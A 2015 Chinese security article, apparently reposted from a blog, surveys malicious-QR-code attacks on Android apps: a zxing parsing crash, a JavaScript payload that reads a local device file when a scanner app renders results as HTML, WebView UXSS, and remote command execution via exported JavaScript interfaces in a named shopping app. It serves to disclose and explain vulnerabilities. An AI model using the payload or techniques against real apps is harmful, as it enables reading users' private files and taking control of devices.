路人甲 · 2015/12/02 12:42

0x00 前言


现在Android App几乎都有二维码扫描功能,如果没有考虑到二维码可能存在的安全问题,将会导致扫描二维码就会受到漏洞攻击,严重的可能导致手机被控制,信息泄漏等风险。

0x01 拒绝服务


低版本的zxing这个二维码库在处理畸形二维码时存在数组越界,导致拒绝服务。扫描下面的二维码,可能导致主程序崩溃:

通过程序的崩溃日志可以看出是个数组越界:

11-23 10:39:02.535: E/AndroidRuntime(1888): FATAL EXCEPTION: Thread-14396
11-23 10:39:02.535: E/AndroidRuntime(1888): Process: com.xxx, PID: 1888
11-23 10:39:02.535: E/AndroidRuntime(1888): java.lang.ArrayIndexOutOfBoundsException: length=9; index=9
11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.common.BitSource.readBits(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decodeAlphanumericSegment(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.decoder.DecodedBitStreamParser.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.decoder.Decoder.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.qrcode.QRCodeReader.decode(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.MultiFormatReader.decodeInternal(Unknown Source)
11-23 10:39:02.535: E/AndroidRuntime(1888):   at com.google.zxing.MultiFormatReader.decodeWithState(Unknown Source)
复制代码

0x02 本地文件读取


之前Wooyun上爆了一个利用恶意二维码攻击快拍的漏洞,识别出来的二维码默认以html形式展示(Android+Iphone),可以执行html和js。将下面的js在cli.im网站上生成二维码:

#!js
<script>
x=new XMLHttpRequest();
if(x.overrideMimeType)
x.overrideMimeType('text/xml');
x.open("GET", "file:/default.prop", false);
x.send(null);
alert(x.responseText);
</script>
复制代码

用快拍扫描之后,就能读取本地文件内容:

0x03 UXSS


去年,Android平台上的Webview UXSS漏洞被吵的沸沸扬扬,由于低版本的Android系统自带的Webview组件使用Webkit作为内核,导致Webkit的历史漏洞就存在于Webview里面,其中就包括危害比较大的UXSS漏洞。

Webview组件几乎存在于所有Android App中,用来渲染网页。如果扫描二维码得到的结果是个网址,大部分App会直接用Webview来打开,由于Webview存在UXSS漏洞,很容易导致资金被窃、帐号被盗或者隐私泄露。漏洞介绍可参考TSRC博文:Android Webview UXSS 漏洞攻防

0x04 远程命令执行


大部分Android App扫描二维码之后,如果识别到的二维码内容是个网址时,会直接调用Webview来进行展示。如果Webview导出了js接口,并且targetSDK是在17以下,就会受到远程命令执行漏洞攻击风险。

苏宁易购Android版扫描二维码会用Webview打开网页,由于苏宁易购导出多个js接口,因此扫描二维码即会受到远程命令执行漏洞攻击(最新版本已修复)。

com.suning.mobile.ebuy.host.webview.WebViewActivity导出多个js接口:

#!java
this.b(this.a);this.s = this.findViewById(2131494713);this.d = this.findViewById(2131494100);this.d.a(((BaseFragmentActivity)this));this.l = new SNNativeClientJsApi(this);this.d.addJavascriptInterface(this.l, "client");this.d.addJavascriptInterface(this.l, "SNNativeClient");this.d.addJavascriptInterface(new YifubaoJSBridge(this), "YifubaoJSBridge");
复制代码

由于targetSDKversion为14,因此所有Android系统版本都受影响:

<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="14"
>
</uses-sdk>
复制代码

苏宁易购Android版首页有个扫描二维码的功能:

扫描二维码时,如果二维码是个网页链接,就会调用上面的Webview组件打开恶意网页:

恶意二维码如下:

0x05 总结


二维码可能攻击的点还不止上面列的那些,发散下思维,还有zip目录遍历导致的远程代码执行漏洞,还有sql注入漏洞,说不定还有缓冲区溢出漏洞。思想有多远,攻击面就有多宽!Have Fun!

Android平台下二维码漏洞攻击杂谈相关推荐

  1. 对#Hello,2015征文#+Android 热敏打印机打印二维码(图片)博客的尝试

    原博客链接 #Hello,2015征文#+Android 热敏打印机打印二维码 昨天晚上说抽时间来写一篇关于Android 热敏打印机打印二维码和图片的文章,所幸在下班之前把它给写了,和大家分享吧.我 ...

  2. android加载二维码带中间logo

    android加载二维码带中间logo 很简单的,我也是先看了很多博客,然后总结了一下,感谢万能的网友 1导入依赖 //二维码加载依赖 implementation 'com.google.zxing ...

  3. android利用zbar二维码扫描-(解决中文乱码及扫描区域定义)

    写在最前(这是对上一篇博文的问题做的更新[android利用zbar二维码扫描]) project下载   zbarLib编译project  project下载0积分 bug 在2.3的系统中Hol ...

  4. [转载]android利用zbar二维码扫描-(解决中文乱码及扫描区域定义)

    写在最前(这是对上一篇博文的问题做的更新[android利用zbar二维码扫描]) 前天早上登陆CSDN时候一条消息:一网友提出了两点疑惑 扫描框目前只是做的假象,是全屏的图片进行解析 中文乱码现象 ...

  5. Android 应用之二维码扫描登录

    下面介绍二维码扫描登录原理, 首先需要web服务端,和app客户端. web服务端主要工作是生成二维码,检测客户端提交信息正确性,更新网页界面. app客户端主要工作是扫描二维码,提交账户信息(此不是 ...

  6. 基于ZXing Android实现生成二维码图片和相机扫描二维码图片即时解码的功能

    NextQRCode ZXing开源库的精简版 **基于ZXing Android实现生成二维码图片和相机扫描二维码图片即时解码的功能 原文博客 附源码下载地址** 与原ZXingMini项目对比 N ...

  7. Android Studio生成二维码

    Android Studio生成二维码 第一步 导入依赖 第二步 在清单文件里加权限 第三步 初始化 第四步 在清单文件里进行调用 第五步 在MainActivity 第六步 建一个管理类 第七步 新 ...

  8. 利用Jenkins+蒲公英平台显示二维码 部署Android打包踩过的坑

    本文主要记录踩过的坑及解决方法 配置流程参考:https://blog.51cto.com/14142911/2417133 坑1: 二维码图片没有显示,只显示标签.如图: 解决: 只需要在Jenki ...

  9. Android 识别图片二维码

    zxing依赖: compile 'cn.yipianfengye.android:zxing-library:2.2' 初始化:private String SAVE_PIC_PATH = Envi ...

最新文章

  1. [云炬创业学笔记]第二章决定成为创业者测试3
  2. Visual Studio 2022发布了,我最爱的5大特性
  3. php公众号客服系统,公众号在线客服系统哪个好,主流客服系统评测及推荐
  4. 将Eclipse中的工程保存到Github的操作步骤
  5. git pull 报错:git - error: RPC failed curl 18 transfer closed with outstanding read data remaining 解决
  6. java 三目运算符语法_Java 算术运算及其优先级讲解,可以说很详细了
  7. 用VBS实现公司自动打卡
  8. android7.0 netd与netlink的framework,kernel通信流程
  9. SpringCloud版本Hoxton SR5 --- 第二讲:eureka 、eureka与zookeeper的区别与使用场景。
  10. 阅文的作者们,正在进行一场必输的抗争
  11. HCL_路由器_三层交换
  12. 【cocos】Sprite九宫格拉伸SLICED
  13. Xmind 2022 Mac版 思维导图软件
  14. 西邮Linux兴趣小组2017纳新免试题揭秘
  15. Tensorflow技术实践之mnist_ with_summaries.py报错
  16. 统计方形(NOIP1997)
  17. python读取mac地址_python - 获取MAC地址
  18. 文竹越长越乱?教你7种修剪方法可保持文竹株形优美,矮壮浓密
  19. c语言程序设计第三版 孩子身高,C语言的那些题(三) ―― 编程计算身高问题
  20. 程序员求职之道(《程序员面试笔试宝典》)之自己的强项或是研究方向与中意的工作岗位不一致怎么办?

热门文章

  1. excel 单元格与任意自定义内容拼接公式
  2. [VB.net][WinForm]Panel控件移动\鼠标拖动
  3. 全“数”前进,世强电子携手正航,打造元器件分销领先品牌
  4. 【计算机网络】有了 IP 地址,为什么还要用 MAC 地址?
  5. office 2019后的功能更新亮点
  6. QT5.10 msvcX64 + opengl 编译出错:LNK2019无法识别的符号 imp_gl****
  7. Debian10查看网关地址
  8. 利用第三方建站系统Pageadmin CMS建站个人经验及相关的问题的处理
  9. 硕士毕业进入阿里三年半,离职申请N+3,到手20多万,跳槽到下家涨薪50%,感谢阿里!...
  10. 让人瞩目的插画设计秘诀在哪?为你揭开3D辅助绘画技术面纱!